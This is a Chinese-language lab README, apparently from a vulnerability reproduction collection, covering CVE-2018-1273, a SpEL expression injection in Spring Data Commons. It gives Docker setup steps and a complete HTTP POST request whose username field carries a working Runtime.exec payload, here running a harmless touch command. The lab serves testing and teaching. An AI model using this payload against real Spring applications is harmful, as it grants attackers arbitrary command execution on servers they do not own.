Aaron
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47 lines
1.7 KiB
Markdown
47 lines
1.7 KiB
Markdown
# Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
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Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
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参考链接：
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- https://pivotal.io/security/cve-2018-1273
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- https://xz.aliyun.com/t/2269
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- https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
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## 环境搭建
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执行下面命令启动漏洞环境：
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```
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docker compose up -d
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```
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稍等一会，环境启动后，访问`http://your-ip:8080/users`，将可以看到一个用户注册页面。
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## 漏洞复现
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参考前面链接中的Payload，在注册的时候抓包，并修改成如下数据包：
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```
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POST /users?page=&size=5 HTTP/1.1
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Host: localhost:8080
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Connection: keep-alive
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Content-Length: 124
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Pragma: no-cache
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Cache-Control: no-cache
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Origin: http://localhost:8080
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Upgrade-Insecure-Requests: 1
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Referer: http://localhost:8080/users?page=0&size=5
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Accept-Encoding: gzip, deflate, br
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
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username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
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```
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执行`docker compose exec spring bash`进入容器中，可见成功创建`/tmp/success`，说明命令执行成功：
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